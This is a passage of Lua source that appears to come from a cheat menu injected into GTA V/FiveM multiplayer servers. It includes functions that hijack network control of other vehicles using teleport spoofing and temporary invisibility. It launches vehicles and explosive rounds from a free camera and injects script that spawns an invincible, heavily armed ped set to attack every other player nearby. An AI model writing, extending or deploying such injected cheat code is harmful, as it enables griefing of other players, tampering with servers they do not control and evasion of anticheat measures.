"^%s*(.-)%s*$", "%1") if model == "" then return end local modelHash = GetHashKey(model) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then menu.utils.notify("Invalid vehicle model: " .. model, "error", 2000) return end if menu.utils.isVehicleWhitelisted and not menu.utils.isVehicleWhitelisted(model) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end menu.vars.freecamSmashAttackCustomModel = model if state then local index = menu.utils.getFreecamSmashAttackCustomModeIndex(state) if index then state.selectedAttackMode = index end end menu.utils.notify("Smash Attack model: " .. model, "success", 2000) end ) end function menuUtilities.promptFreecamShootVehicleCustomModel(state) menu.vars.shootVehicleCustomModels = menu.vars.shootVehicleCustomModels or {} if not menu.utils.canOpenFreecamShootVehicleCustomPrompt() then return end menu.ui.promptText( { title = "Shoot Vehicle - Custom", label = "Enter vehicle model name", placeholder = "e.g. sultan, adder", default = "", maxLen = 64 }, function(value, cancelled) menu.utils.blockFreecamShootVehicleCustomEnter(450) if cancelled then return end if not value or value == "" then menu.utils.notify("No model name entered", "error", 2000) return end local model = string.gsub(value, "^%s*(.-)%s*$", "%1") if model == "" then return end local modelHash = GetHashKey(model) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then menu.utils.notify("Invalid vehicle model: " .. model, "error", 2000) return end local models = menu.vars.shootVehicleCustomModels local selectedIndex local iterator, iteratorState, iteratorKey = ipairs(models) for index, existingModel in iterator, iteratorState, iteratorKey do if existingModel == model then selectedIndex = index break end end if not selectedIndex then models[#models + 1] = model selectedIndex = #models end if state then state.shootVehicleCategoryIndex = menu.utils.getFreecamShootVehicleCategoryIndexByName( state, "Custom" ) or state.shootVehicleCategoryIndex state.shootVehicleSelectedIndex = selectedIndex menu.utils.pinFreecamShootVehicleSelection(state) end menu.utils.notify("Custom model: " .. model, "success", 2000) end ) end function menuUtilities.isFreecamShootVehicleModelUpPressed() if ImGuiKey and ImGuiKey.UpArrow and Ham.isKeyPressed and Ham.isKeyPressed(ImGuiKey.UpArrow) then return true end return IsControlJustPressed(0, 172) or IsDisabledControlJustPressed(0, 172) end function menuUtilities.isFreecamShootVehicleModelDownPressed() if ImGuiKey and ImGuiKey.DownArrow and Ham.isKeyPressed and Ham.isKeyPressed(ImGuiKey.DownArrow) then return true end return IsControlJustPressed(0, 173) or IsDisabledControlJustPressed(0, 173) end function menuUtilities.drawFreecamShootVehicleRow(y, state, width) if not state then return end menu.utils.ensureFreecamShootVehicleCategories(state) local fontSize = 18 local rowSpacing = 22 local gap = 40 local primary = { 255, 255, 255, 255 } local muted = { 150, 150, 150, 210 } local isNearbyMode = menu.utils.isServer185169NearbyVehicleMode if isNearbyMode then isNearbyMode = menu.utils.isServer185169NearbyVehicleMode() end local categories = state.shootVehicleCategories or menu.utils.getFreecamShootVehicleCategories(false) local categoryIndex = math.min(math.max(state.shootVehicleCategoryIndex or 1, 1), #categories) local category = categories[categoryIndex] local entry if menu.utils.isFreecamShootVehicleAvailableEntriesMode(state) then entry = menu.utils.getFreecamShootVehicleSelectedEntry(state) end local model = menu.utils.getFreecamShootVehicleSelectedModel(state) local modelLabel if menu.utils.isFreecamShootVehicleAvailableEntriesMode(state) then modelLabel = entry and entry.label or "None" elseif category == "Custom" and not model then modelLabel = "(press Enter to add)" elseif not model then modelLabel = "None" else modelLabel = menu.utils.getFreecamShootVehicleDisplayName(model) end local function measureText(value) local label = tostring(value) if Ham and Ham.getTextWidth then local measured = select(1, Ham.getTextWidth(label)) or 0 if measured > 0 then return measured * (fontSize / 14.2) + 1 end end return #label * fontSize * 0.54 end local function drawText(text, x, textY, color, centered) local alpha = color and color[4] and math.floor(color[4] * 0.7) or 180 Hdn.drawText(text, { x, textY }, color, fontSize, centered == true, true, { 0, 0, 0, alpha }) Hdn.drawText(text, { x, textY }, color, fontSize, centered == true, false, {}) end local function drawPair(label, value, x) drawText(label, x, y, primary, true) drawText(value, x, y + rowSpacing, muted, true) end local center = width / 2 if isNearbyMode then return end local title = menu.utils.getFreecamShootVehicleOptionName() local categoryLabel = categories[categoryIndex] or "Nearby Vehicles" local titleWidth = measureText(title) local categoryTitle = "Vehicle Category" local modelTitle = "Vehicle Model" local categoryWidth = math.max(measureText(categoryTitle), measureText(categoryLabel)) local modelWidth = math.max(measureText(modelTitle), measureText(modelLabel)) local left = center - titleWidth / 2 - gap - categoryWidth / 2 local right = center + titleWidth / 2 + gap + modelWidth / 2 drawPair(categoryTitle, categoryLabel, left) drawText(title, center, y, primary, true) drawPair(modelTitle, modelLabel, right) end function menuUtilities.refreshFreecamShootVehicleLists(state, forceRefresh, allowAutoSwitch) if not state then return end if allowAutoSwitch == nil then allowAutoSwitch = true end local nearbyVehicleMode = menu.utils.isServer185169NearbyVehicleMode if nearbyVehicleMode then nearbyVehicleMode = menu.utils.isServer185169NearbyVehicleMode() end menu.utils.ensureFreecamShootVehicleCategories(state) if nearbyVehicleMode then state.shootVehicleCategoryIndex = 1 allowAutoSwitch = false end local pinnedModel = state.shootVehiclePinnedModel local currentTime = GetGameTimer() if not forceRefresh and state.shootVehicleLastRefresh and currentTime - state.shootVehicleLastRefresh < 400 then return end state.shootVehicleLastRefresh = currentTime state.shootVehicleSafeList = menu.utils.buildFreecamShootVehicleSafeList() local cameraPosition = GetFinalRenderedCamCoord() state.shootVehicleNearbyEntries = menu.utils.scanFreecamShootVehicleNearbyEntries(cameraPosition, 500.0, true) if nearbyVehicleMode then state.shootVehicleNearbyList = {} else state.shootVehicleNearbyList = menu.utils.scanFreecamShootVehicleNearbyList(cameraPosition, 500.0) end if allowAutoSwitch and menu.utils.getFreecamShootVehicleCategoryName(state) == "Nearby Vehicles" then if #(state.shootVehicleNearbyList or {}) == 0 then if not state.shootVehicleNearbyAutoSwitched then menu.utils.notify("No nearby vehicles found", "error", 2500) state.shootVehicleCategoryIndex = menu.utils.getFreecamShootVehicleCategoryIndexByName( state, "Safe Vehicles" ) or 2 state.shootVehicleSelectedIndex = 1 state.shootVehicleNearbyAutoSwitched = true end else state.shootVehicleNearbyAutoSwitched = false end end local models = menu.utils.getFreecamShootVehicleModelList(state) local pinnedVehicle = state.shootVehiclePinnedVehicle local function entryModel(entry) if type(entry) == "table" then return entry.model end return entry end if pinnedVehicle and #models > 0 then local matchedIndex local iterator, iteratorState, iteratorKey = ipairs(models) for index, entry in iterator, iteratorState, iteratorKey do if type(entry) == "table" and entry.vehicle == pinnedVehicle then matchedIndex = index break end end if not matchedIndex and pinnedModel then local modelIterator, modelState, modelKey = ipairs(models) for index, entry in modelIterator, modelState, modelKey do if entryModel(entry) == pinnedModel then matchedIndex = index break end end end if matchedIndex then state.shootVehicleSelectedIndex = matchedIndex elseif (state.shootVehicleSelectedIndex or 1) > #models then state.shootVehicleSelectedIndex = #models end elseif pinnedModel and #models > 0 then local matchedIndex local iterator, iteratorState, iteratorKey = ipairs(models) for index, entry in iterator, iteratorState, iteratorKey do if entryModel(entry) == pinnedModel then matchedIndex = index break end end if matchedIndex then state.shootVehicleSelectedIndex = matchedIndex elseif (state.shootVehicleSelectedIndex or 1) > #models then state.shootVehicleSelectedIndex = #models end elseif #models < 1 then state.shootVehicleSelectedIndex = 1 state.shootVehiclePinnedVehicle = nil elseif (state.shootVehicleSelectedIndex or 1) > #models then state.shootVehicleSelectedIndex = #models end menu.utils.pinFreecamShootVehicleSelection(state) end function menuUtilities.computeFreecamShootVehicleLaunch(origin, direction, rotation, spawnFromGround) local length = #direction local normalizedDirection = length > 0.01 and direction / length or vector3(0.0, 1.0, 0.0) spawnFromGround = spawnFromGround == true local spawnPosition = origin + normalizedDirection * 1.2 spawnPosition = vector3(spawnPosition.x, spawnPosition.y, spawnPosition.z - 0.55) local padding = 0.28 spawnPosition = vector3( spawnPosition.x - normalizedDirection.x * padding, spawnPosition.y - normalizedDirection.y * padding, spawnPosition.z - normalizedDirection.z * padding ) local finalSpawnPosition = spawnPosition local velocityDirection = direction local pitch = rotation.x local heading = rotation.z if spawnFromGround then RequestCollisionAtCoord(spawnPosition.x, spawnPosition.y, spawnPosition.z) RequestAdditionalCollisionAtCoord(spawnPosition.x, spawnPosition.y, spawnPosition.z) local foundGround, groundZ = GetGroundZFor_3dCoord(spawnPosition.x, spawnPosition.y, spawnPosition.z + 50.0, false) if foundGround then finalSpawnPosition = vector3(spawnPosition.x, spawnPosition.y, groundZ - 0.4) else finalSpawnPosition = vector3(spawnPosition.x, spawnPosition.y, spawnPosition.z - 2.0) end velocityDirection = length > 0.01 and direction / length or vector3(0.0, 1.0, 0.0) heading = GetHeadingFromVector_2d(velocityDirection.x, velocityDirection.y) pitch = -math.deg( math.atan2( velocityDirection.z, math.sqrt(velocityDirection.x * velocityDirection.x + velocityDirection.y * velocityDirection.y) ) ) end return { finalSpawnPos = finalSpawnPosition, teleportPos = spawnFromGround and finalSpawnPosition or spawnPosition, velocityDir = velocityDirection, pitch = pitch, heading = heading, spawnFromGround = spawnFromGround } end function menuUtilities.freecamAcquireVehicleNetworkControlIfNeeded(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return false end if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end if NetworkHasControlOfEntity(vehicle) then return true end if not IsVehicleSeatFree(vehicle, -1) then return false end local ped = PlayerPedId() if not ped or ped == 0 then return false end local restoreState = menu.utils.getFreecamPlayerRestoreState(ped) local hasControl = false if Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end if menu.utils.withTempPlayerInvisibility then menu.utils.withTempPlayerInvisibility(function() ClearPedTasksImmediately(ped) TaskWarpPedIntoVehicle(ped, vehicle, -1) local seatDeadline = GetGameTimer() + 1500 while not IsPedInVehicle(ped, vehicle, false) and seatDeadline > GetGameTimer() do Citizen.Wait(50) end Citizen.Wait(900) if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end local controlDeadline = GetGameTimer() + 3000 while not NetworkHasControlOfEntity(vehicle) and controlDeadline > GetGameTimer() do NetworkRequestControlOfEntity(vehicle) Citizen.Wait(50) end if NetworkHasControlOfEntity(vehicle) then Citizen.Wait(250) end menu.utils.freecamBlackHoleRestorePedToFreecamSpot(ped, restoreState) hasControl = NetworkHasControlOfEntity(vehicle) end) else SetPedIntoVehicle(ped, vehicle, -1) local seatDeadline = GetGameTimer() + 1500 while not IsPedInVehicle(ped, vehicle, false) and seatDeadline > GetGameTimer() do Wait(50) end Wait(900) local controlDeadline = GetGameTimer() + 3000 while not NetworkHasControlOfEntity(vehicle) and controlDeadline > GetGameTimer() do NetworkRequestControlOfEntity(vehicle) Wait(50) end if NetworkHasControlOfEntity(vehicle) then Wait(250) end if IsPedInVehicle(ped, vehicle, false) then TaskLeaveVehicle(ped, vehicle, 16) Wait(150) end hasControl = NetworkHasControlOfEntity(vehicle) end if Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end return hasControl end function menuUtilities.freecamMarkGrandShootVehicleCooldown(vehicle, duration) if not vehicle or vehicle == 0 then return end menu.vars.freecamGrandShootVehicleCooldown = menu.vars.freecamGrandShootVehicleCooldown or {} menu.vars.freecamGrandShootVehicleCooldown[vehicle] = GetGameTimer() + (duration or 1000) end function menuUtilities.freecamShootNearbyEmptyVehicle(origin, direction, rotation, spawnFromGround) local state = menu.vars.freecamMenu if not state then return end menu.utils.refreshFreecamShootVehicleLists(state, true, false) local entry = menu.utils.getFreecamShootVehicleSelectedEntry(state) local vehicle = entry and entry.vehicle or state.shootVehiclePinnedVehicle if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then menu.utils.notify("Vehicle not found", "error", 2000) menu.utils.refreshFreecamShootVehicleLists(state, true, false) return end if not IsVehicleSeatFree(vehicle, -1) then menu.utils.notify("Vehicle no longer empty", "error", 2000) menu.utils.refreshFreecamShootVehicleLists(state, true, false) return end local launch = menu.utils.computeFreecamShootVehicleLaunch(origin, direction, rotation, spawnFromGround) local spawnPosition = launch.finalSpawnPos local velocityDirection = launch.velocityDir local pitch = launch.pitch local heading = launch.heading local launchFromGround = launch.spawnFromGround Citizen.CreateThread(function() if not DoesEntityExist(vehicle) then return end if not menu.utils.freecamAcquireVehicleNetworkControlIfNeeded(vehicle) then menu.utils.notify("Could not get vehicle control", "error", 2000) menu.utils.refreshFreecamShootVehicleLists(state, true, false) return end if not DoesEntityExist(vehicle) or not IsVehicleSeatFree(vehicle, -1) then menu.utils.notify("Vehicle not found", "error", 2000) menu.utils.refreshFreecamShootVehicleLists(state, true, false) return end menu.utils.freecamMarkGrandShootVehicleCooldown(vehicle, 1000) menu.utils.refreshFreecamShootVehicleLists(state, true, false) SetEntityAsMissionEntity(vehicle, true, true) SetEntityNoCollisionEntity(vehicle, PlayerPedId(), true) SetEntityInvincible(vehicle, true) SetVehicleEngineOn(vehicle, true, true, false) SetVehicleUndriveable(vehicle, false) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) SetEntityCoords(vehicle, spawnPosition.x, spawnPosition.y, spawnPosition.z, false, false, false, true) if launchFromGround then SetVehicleOnGroundProperly(vehicle) end SetEntityRotation(vehicle, pitch, 0.0, heading, 2, true) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) Wait(0) if not DoesEntityExist(vehicle) then return end local speed = 55.55555555555556 SetEntityVelocity( vehicle, velocityDirection.x * speed, velocityDirection.y * speed, velocityDirection.z * speed ) Wait(300) if DoesEntityExist(vehicle) then speed = 97.22222222222221 SetEntityVelocity( vehicle, velocityDirection.x * speed, velocityDirection.y * speed, velocityDirection.z * speed ) end menu.utils.refreshFreecamShootVehicleLists(state, true, false) end) end function menuUtilities.freecamShootVehicle(origin, direction, rotation, spawnFromGround) origin = origin or GetFinalRenderedCamCoord() rotation = rotation or GetFinalRenderedCamRot(2) if not origin or not rotation then return end if not direction then local directionX = -math.sin(math.rad(rotation.z)) * math.cos(math.rad(rotation.x)) local directionY = math.cos(math.rad(rotation.z)) * math.cos(math.rad(rotation.x)) direction = vector3(directionX, directionY, math.sin(math.rad(rotation.x))) end local state = menu.vars.freecamMenu if state and menu.utils.isFreecamShootVehicleAvailableEntriesMode(state) then menu.utils.freecamShootNearbyEmptyVehicle(origin, direction, rotation, spawnFromGround) return end if not state then return end spawnFromGround = spawnFromGround == true local model = state.shootVehiclePinnedModel or menu.utils.getFreecamShootVehicleSelectedModel(state) if not model then menu.utils.notify("No vehicles available", "error", 2000) return end local modelHash = GetHashKey(model) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then menu.utils.notify("Vehicle model unavailable", "error", 2000) return end local launch = menu.utils.computeFreecamShootVehicleLaunch(origin, direction, rotation, spawnFromGround) local finalSpawnPosition = launch.finalSpawnPos local teleportPosition = launch.teleportPos local velocityDirection = launch.velocityDir local pitch = launch.pitch local heading = launch.heading spawnFromGround = launch.spawnFromGround _G.pmFreecamShootVehicleSeq = (_G.pmFreecamShootVehicleSeq or 0) + 1 local uniqueId = _G.pmFreecamShootVehicleSeq local finalArgument = 0 local script = string.format( [[ local uniqueId = %d -- Check if vehicle with this unique ID already exists if _G.freecamSpawnedVehicles and _G.freecamSpawnedVehicles[uniqueId] then return end if not _G.freecamSpawnedVehicles then _G.freecamSpawnedVehicles = {} end local modelName = %q local playerCoords = GetEntityCoords(PlayerPedId()) local spawnFromGround = %s local groundSpawnCoords = vector3(%.2f, %.2f, %.2f) local finalSpawnCoords = vector3(%.2f, %.2f, %.2f) -- Spawn under ped, wait 100ms, teleport to FOV position, then launch forward. local underPedZ = 20.0 local spawnCoords = vector3(playerCoords.x, playerCoords.y, playerCoords.z - underPedZ) _G.Citizen.Bongs.utils.spawnVehicle(modelName, spawnCoords, %.2f, function(veh) if not veh or not DoesEntityExist(veh) then return end _G.freecamSpawnedVehicles[uniqueId] = veh SetEntityCoordsNoOffset(veh, playerCoords.x, playerCoords.y, playerCoords.z - underPedZ, false, false, false) SetEntityVelocity(veh, 0.0, 0.0, 0.0) SetEntityAsMissionEntity(veh, true, true) SetVehicleEngineOn(veh, true, true, false) SetEntityNoCollisionEntity(veh, PlayerPedId(), true) SetEntityInvincible(veh, true) SetVehicleGravity(veh, true) local createThread = Citizen.CreateThread or CreateThread local waitFn = Citizen.Wait or Wait createThread(function() waitFn(100) if not DoesEntityExist(veh) then return end SetEntityCoords(veh, finalSpawnCoords.x, finalSpawnCoords.y, finalSpawnCoords.z, false, false, false, true) if spawnFromGround then SetVehicleOnGroundProperly(veh) end SetEntityRotation(veh, %.2f, 0.0, %.2f, 2, true) SetEntityVelocity(veh, 0.0, 0.0, 0.0) waitFn(0) if not DoesEntityExist(veh) then return end local speedStart = (40.0 / 3.6) * 5.0 SetEntityVelocity(veh, %.2f * speedStart, %.2f * speedStart, %.2f * speedStart) waitFn(300) if DoesEntityExist(veh) then local speed = (70 / 3.6) * 5.0 SetEntityVelocity(veh, %.2f * speed, %.2f * speed, %.2f * speed) end end) createThread(function() waitFn(30000) if _G.freecamSpawnedVehicles and _G.freecamSpawnedVehicles[uniqueId] then _G.freecamSpawnedVehicles[uniqueId] = nil end end) end, %d) ]], uniqueId, model, tostring(spawnFromGround), finalSpawnPosition.x, finalSpawnPosition.y, finalSpawnPosition.z, teleportPosition.x, teleportPosition.y, teleportPosition.z, heading, pitch, heading, velocityDirection.x, velocityDirection.y, velocityDirection.z, velocityDirection.x, velocityDirection.y, velocityDirection.z, finalArgument ) menu.utils.safeExecute(script) end function menuUtilities.freecamShootProjectile(origin, direction, unusedParameter) local ped = PlayerPedId() local weaponHash = GetHashKey(menu.vars.explosionWeapon) if not HasPedGotWeapon(ped, weaponHash, false) then GiveDelayedWeaponToPed(ped, weaponHash, 250, false, true) end SetCurrentPedWeapon(ped, weaponHash, true) Wait(100) local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay(origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, -1, ped, 0) local status, hit, hitCoords, surfaceNormal, hitEntity = GetShapeTestResult(ray) if not hit then hitCoords = endpoint end ShootSingleBulletBetweenCoords( origin.x, origin.y, origin.z, hitCoords.x, hitCoords.y, hitCoords.z, 100, true, weaponHash, ped, true, false, -1.0 ) end function menuUtilities.freecamSpawnAttacker(origin, direction, unusedParameter) if not _G.freecamPedInteractionTimer then _G.freecamPedInteractionTimer = GetGameTimer() + 1000 elseif GetGameTimer() > _G.freecamPedInteractionTimer then _G.freecamPedInteractionTimer = nil else return end local endpoint = origin + direction * 1000.0 local ray = StartShapeTestRay(origin.x, origin.y, origin.z, endpoint.x, endpoint.y, endpoint.z, 1, PlayerPedId(), 0) local status, hit, hitPosition, surfaceNormal, hitEntity = GetShapeTestResult(ray) if hit then RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) if not menu.utils.isWSPedWhitelisted("mp_m_freemode_01") then menu.utils.notify("Ped is blacklisted", "error", 2000) return end local script = [[ Citizen.CreateThread(function() local spawnPos = vector3(]] .. hitPosition.x .. ", " .. hitPosition.y .. ", " .. hitPosition.z .. [[ ) local model = GetHashKey("mp_m_freemode_01") RequestModel(model) while not HasModelLoaded(model) do Citizen.Wait(0) end local pedAI = CreatePed(4, model, spawnPos.x, spawnPos.y, spawnPos.z, 0, true, true) -- Tag as menu-spawned so NPC ESP can ignore it pcall(function() local ent = Entity(pedAI) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) local skin={sex=0,face=0,skin=0,hair_1=0,hair_2=0,hair_color_1=0,hair_color_2=0,decals_1=0,decals_2=0,tshirt_1=15,tshirt_2=0,torso_1=287,torso_2=2,arms=9,pants_1=114,pants_2=2,shoes_1=78,shoes_2=2,mask_1=135,mask_2=2,helmet_1=-1,helmet_2=-1,bproof_1=0,bproof_2=0,bags_1=0,bags_2=0,beard_1=0,beard_2=0,beard_3=0,beard_4=0,chain_1=0,chain_2=0,glasses_1=0,glasses_2=0} SetPedComponentVariation(pedAI,2,skin.hair_1,skin.hair_2,2) SetPedHairColor(pedAI,skin.hair_color_1,skin.hair_color_2) SetPedComponentVariation(pedAI,3,skin.arms,0,2) SetPedComponentVariation(pedAI,8,skin.tshirt_1,skin.tshirt_2,2) SetPedComponentVariation(pedAI,11,skin.torso_1,skin.torso_2,2) SetPedComponentVariation(pedAI,4,skin.pants_1,skin.pants_2,2) SetPedComponentVariation(pedAI,6,skin.shoes_1,skin.shoes_2,2) SetPedComponentVariation(pedAI,1,skin.mask_1,skin.mask_2,2) SetPedComponentVariation(pedAI,9,skin.bproof_1,skin.bproof_2,2) SetPedComponentVariation(pedAI,5,skin.bags_1,skin.bags_2,2) SetPedComponentVariation(pedAI,10,skin.decals_1,skin.decals_2,2) SetPedHeadOverlay(pedAI,1,skin.beard_1,1.0) SetPedHeadOverlayColor(pedAI,1,1,skin.beard_2,skin.beard_3) SetPedPropIndex(pedAI,0,skin.helmet_1,skin.helmet_2,true) SetPedPropIndex(pedAI,1,skin.glasses_1,skin.glasses_2,true) SetEntityInvincible(pedAI,true) SetPedCanRagdoll(pedAI,false) -- Set combat attributes to make it aggressive and ignore NPCs SetPedCombatAttributes(pedAI, 46, true) -- Can fight armed peds when not angry SetPedCombatAttributes(pedAI, 5, true) -- Can fight armed peds SetPedCombatAttributes(pedAI, 0, true) -- Can use cover SetPedCombatAttributes(pedAI, 1, false) -- Can use vehicles SetPedCombatAttributes(pedAI, 2, false) -- Can do drivebys SetPedCombatAttributes(pedAI, 3, false) -- Can leave vehicle SetPedCombatAttributes(pedAI, 4, true) -- Can fight armed peds when not angry SetPedCombatAttributes(pedAI, 6, false) -- Can use group SetPedCombatAttributes(pedAI, 7, false) -- Can use mounted weapons SetPedCombatAttributes(pedAI, 8, false) -- Can do drivebys SetPedCombatAttributes(pedAI, 9, false) -- Can use group SetPedCombatAttributes(pedAI, 10, false) -- Can use group SetPedCombatAttributes(pedAI, 11, false) -- Can use group SetPedCombatAttributes(pedAI, 12, false) -- Can use group SetPedCombatAttributes(pedAI, 13, false) -- Can use group SetPedCombatAttributes(pedAI, 14, false) -- Can use group SetPedCombatAttributes(pedAI, 15, false) -- Can use group SetPedCombatAttributes(pedAI, 16, false) -- Can use group SetPedCombatAttributes(pedAI, 17, false) -- Can use group SetPedCombatAttributes(pedAI, 18, false) -- Can use group SetPedCombatAttributes(pedAI, 19, false) -- Can use group SetPedCombatAttributes(pedAI, 20, false) -- Can use group SetPedCombatAttributes(pedAI, 21, false) -- Can use group SetPedCombatAttributes(pedAI, 22, false) -- Can use group SetPedCombatAttributes(pedAI, 23, false) -- Can use group SetPedCombatAttributes(pedAI, 24, false) -- Can use group SetPedCombatAttributes(pedAI, 25, false) -- Can use group SetPedCombatAttributes(pedAI, 26, false) -- Can use group SetPedCombatAttributes(pedAI, 27, false) -- Can use group SetPedCombatAttributes(pedAI, 28, false) -- Can use group SetPedCombatAttributes(pedAI, 29, false) -- Can use group SetPedCombatAttributes(pedAI, 30, false) -- Can use group SetPedCombatAttributes(pedAI, 31, false) -- Can use group SetPedCombatAttributes(pedAI, 32, false) -- Can use group SetPedCombatAttributes(pedAI, 33, false) -- Can use group SetPedCombatAttributes(pedAI, 34, false) -- Can use group SetPedCombatAttributes(pedAI, 35, false) -- Can use group SetPedCombatAttributes(pedAI, 36, false) -- Can use group SetPedCombatAttributes(pedAI, 37, false) -- Can use group SetPedCombatAttributes(pedAI, 38, false) -- Can use group SetPedCombatAttributes(pedAI, 39, false) -- Can use group SetPedCombatAttributes(pedAI, 40, false) -- Can use group SetPedCombatAttributes(pedAI, 41, false) -- Can use group SetPedCombatAttributes(pedAI, 42, false) -- Can use group SetPedCombatAttributes(pedAI, 43, false) -- Can use group SetPedCombatAttributes(pedAI, 44, false) -- Can use group SetPedCombatAttributes(pedAI, 45, false) -- Can use group SetPedCombatAttributes(pedAI, 47, false) -- Can use group SetPedCombatAttributes(pedAI, 48, false) -- Can use group SetPedCombatAttributes(pedAI, 49, false) -- Can use group SetPedCombatAttributes(pedAI, 50, false) -- Can use group GiveWeaponToPed(pedAI, GetHashKey("vehicle_weapon_dogfighter_mg"), 9999, false, true) TaskStandStill(pedAI, 250) Citizen.SetTimeout(300, function() local players = GetActivePlayers() SetPedCombatAbility(pedAI, 100) SetPedCombatRange(pedAI, 3) SetPedAccuracy(pedAI, 100) SetPedCombatMovement(pedAI, 3) -- Aggressive movement -- Attack all nearby players except yourself for _, playerId in ipairs(players) do if playerId ~= PlayerId() then local targetPed = GetPlayerPed(playerId) if targetPed ~= 0 and DoesEntityExist(targetPed) and IsPedAPlayer(targetPed) then local targetCoords = GetEntityCoords(targetPed) local pedCoords = GetEntityCoords(pedAI) local distance = #(pedCoords - targetCoords) -- Attack players within 1000 units if distance < 1000.0 then TaskCombatPed(pedAI, targetPed, 0, 16) end end end end end) end)]] menu.utils.safeExecute(script) end end function menuUtilities.buildFreecamPedOutfitApplyLua(outfit) if not outfit then return "" end local hairHighlightColor = outfit.hair_color_2 or outfit.hair_color_1 or 0 local beardOpacity = outfit.beard_opacity or (outfit.beard_2 or 10) / 10.0 local eyebrowOpacity = outfit.eyebrows_opacity or (outfit.eyebrows_2 or 10) / 10.0 local scriptLines = { "SetPedDefaultComponentVariation(ped)", string.format( "SetPedHeadBlendData(ped, %d, %d, 0, %d, %d, 0, 1.0, 1.0, 0.0, true)", outfit.face or 0, outfit.face or 0, outfit.skin or 0, outfit.skin or 0 ), string.format("SetPedComponentVariation(ped, 2, %d, %d, 2)", outfit.hair_1 or 0, outfit.hair_2 or 0), string.format("SetPedHairColor(ped, %d, %d)", outfit.hair_color_1 or 0, hairHighlightColor), string.format("SetPedEyeColor(ped, %d)", outfit.eye_color or 10), string.format( "SetPedComponentVariation(ped, 8, %d, %d, 2)", outfit.tshirt_1 or 0, outfit.tshirt_2 or 0 ), string.format("SetPedComponentVariation(ped, 11, %d, %d, 2)", outfit.torso_1 or 0, outfit.torso_2 or 0), string.format("SetPedComponentVariation(ped, 3, %d, 0, 2)", outfit.arms or 0), string.format( "SetPedComponentVariation(ped, 10, %d, %d, 2)", outfit.decals_1 or 0, outfit.decals_2 or 0 ), string.format("SetPedComponentVariation(ped, 4, %d, %d, 2)", outfit.pants_1 or 0, outfit.pants_2 or 0), string.format("SetPedComponentVariation(ped, 6, %d, %d, 2)", outfit.shoes_1 or 0, outfit.shoes_2 or 0), string.format("SetPedComponentVariation(ped, 1, %d, %d, 2)", outfit.mask_1 or 0, outfit.mask_2 or 0), string.format( "SetPedComponentVariation(ped, 9, %d, %d, 2)", outfit.bproof_1 or 0, outfit.bproof_2 or 0 ), string.format("SetPedComponentVariation(ped, 7, %d, %d, 2)", outfit.chain_1 or 0, outfit.chain_2 or 0) } local openResults = table.pack( string.format("SetPedComponentVariation(ped, 5, %d, %d, 2)", outfit.bags_1 or 0, outfit.bags_2 or 0) ) for index = 1, openResults.n do rawset(scriptLines, 14 + index, openResults[index]) end if outfit.beard_1 ~= nil then scriptLines[#scriptLines + 1] = string.format("SetPedHeadOverlay(ped, 1, %d, %.1f)", outfit.beard_1, beardOpacity) scriptLines[#scriptLines + 1] = string.format("SetPedHeadOverlayColor(ped, 1, 1, %d, %d)", outfit.beard_3 or 0, outfit.beard_4 or 0) end if outfit.eyebrows_1 ~= nil then scriptLines[#scriptLines + 1] = string.format("SetPedHeadOverlay(ped, 2, %d, %.1f)", outfit.eyebrows_1, eyebrowOpacity) scriptLines[#scriptLines + 1] = string.format( "SetPedHeadOverlayColor(ped, 2, 1, %d, %d)", outfit.eyebrows_3 or 0, outfit.eyebrows_4 or 0 ) end if outfit.helmet_1 ~= nil then if outfit.helmet_1 >= 0 then scriptLines[#scriptLines + 1] = string.format("SetPedPropIndex(ped, 0, %d, %d, true)", outfit.helmet_1, outfit.helmet_2 or 0) else scriptLines[#scriptLines + 1] = "ClearPedProp(ped, 0)" end end if outfit.glasses_1 ~= nil then if outfit.glasses_1 >= 0 then scriptLines[#scriptLines + 1] = string.format("SetPedPropIndex(ped, 1, %d, %d, true)", outfit.glasses_1, outfit.glasses_2 or 0) else scriptLines[#scriptLines + 1] = "ClearPedProp(ped, 1)" end end if outfit.ears_1 ~= nil then if outfit.ears_1 >= 0 then scriptLines[#scriptLines + 1] = string.format("SetPedPropIndex(ped, 2, %d, %d, true)", outfit.ears_1, outfit.ears_2 or 0) else scriptLines[#scriptLines + 1] = "ClearPedProp(ped, 2)" end end return table.concat( scriptLines, [[ ]] ) end function menuUtilities.buildFreecamPedNakedApplyLua() return [[ SetPedDefaultComponentVariation(ped) for comp = 0, 11 do SetPedComponentVariation(ped, comp, 0, 0, 0) end for prop = 0, 7 do ClearPedProp(ped, prop) end ]] end function menuUtilities.freecamShootPed(origin, direction, rotation) origin = origin or GetFinalRenderedCamCoord() rotation = rotation or GetFinalRenderedCamRot(2) if not origin or not rotation then return end if not direction then local directionX = -math.sin(math.rad(rotation.z)) * math.cos(math.rad(rotation.x)) local directionY = math.cos(math.rad(rotation.z)) * math.cos(math.rad(rotation.x)) direction = vector3(directionX, directionY, math.sin(math.rad(rotation.x))) end local directionLength = #direction local normalizedDirection = directionLength > 0.01 and direction / directionLength or vector3(0.0, 1.0, 0.0) local state = menu.vars.freecamMenu if not state then return end local selected = state.pedList[state.selectedPedIndex] if not selected then return end local model = selected.model local outfitScript = "" if selected.outfit then model = "mp_m_freemode_01" local getPreset = menu.functions.getNormalOutfitPreset if getPreset then getPreset = menu.functions.getNormalOutfitPreset(selected.outfit) end if not getPreset then menu.utils.notify("Outfit not found", "error", 2000) return end outfitScript = menu.utils.buildFreecamPedOutfitApplyLua(getPreset) elseif selected.naked then outfitScript = menu.utils.buildFreecamPedNakedApplyLua() end if not menu.utils.isWSPedWhitelisted(model) then 